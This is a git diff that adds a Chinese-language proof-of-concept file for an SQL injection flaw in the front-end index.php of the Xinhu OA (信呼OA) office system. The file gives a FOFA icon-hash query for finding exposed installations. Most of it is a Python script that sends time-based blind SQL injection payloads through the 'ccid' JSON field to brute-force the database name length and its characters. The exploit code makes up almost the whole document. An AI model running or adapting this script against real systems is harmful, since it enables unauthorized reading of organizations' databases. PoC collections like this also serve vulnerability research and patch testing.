diff --git a/wpoc/信呼OA/信呼OA办公系统前台index.php存在SQL注入漏洞.md b/wpoc/信呼OA/信呼OA办公系统前台index.php存在SQL注入漏洞.md
index 8b13789..2eb1ee3 100644
--- a/wpoc/信呼OA/信呼OA办公系统前台index.php存在SQL注入漏洞.md
+++ b/wpoc/信呼OA/信呼OA办公系统前台index.php存在SQL注入漏洞.md
@@ -1 +1,67 @@
+# 信呼OA系统index存在SQL注入漏洞
 
+
+
+## fofa
+
+```java
+icon_hash="1652488516"
+```
+
+## poc
+
+```python
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# @Time    : 2025/3/31 16:29
+# @Author  : dreamlane
+# @File    : 信呼OA前台注入.py
+# @Software: PyCharm
+
+import requests
+
+url = 'http://localhost/index.php?&a=api&d=task&m=openkqj|openapi&sn=a&c=/post'
+
+proxies = {
+    "http": "http://127.0.0.1:8080",
+    "https": "https://127.0.0.1:8080",
+}
+
+
+def GetLenDatebaseNameLength():
+    for i in range(1, 15):
+        data = [{
+            "data": "fingerprint",
+            "ccid": f"1'and if(length(database())={i},sleep(3),1)#",
+            "fingerprint": "123"
+        }]
+        # 使用 json 参数传递数据
+        test = requests.post(url=url, json=data, proxies=proxies)
+        if (test.elapsed.total_seconds() > 2):
+            print(f"数据库的长度为{i}")
+            GetLenDatebaseName(i)
+
+
+"""查库名称"""
+
+
+def GetLenDatebaseName(Len):
+    a = ''
+    for i in range(Len):
+        for j in range(32, 126):  # ASCII可打印字符范围
+            data = [{
+                "data": "fingerprint",
+                "ccid": f"1' and if(ascii(substr(database(),{i},1))={j},SLEEP(3),1)#",
+                "fingerprint": "123"
+            }]
+            test = requests.post(url=url, json=data, proxies=proxies)
+            if test.elapsed.total_seconds() > 2:
+                a = a + chr(j)
+                print(a)
+
+
+
+
+if __name__ == '__main__':
+    GetLenDatebaseNameLength()
+```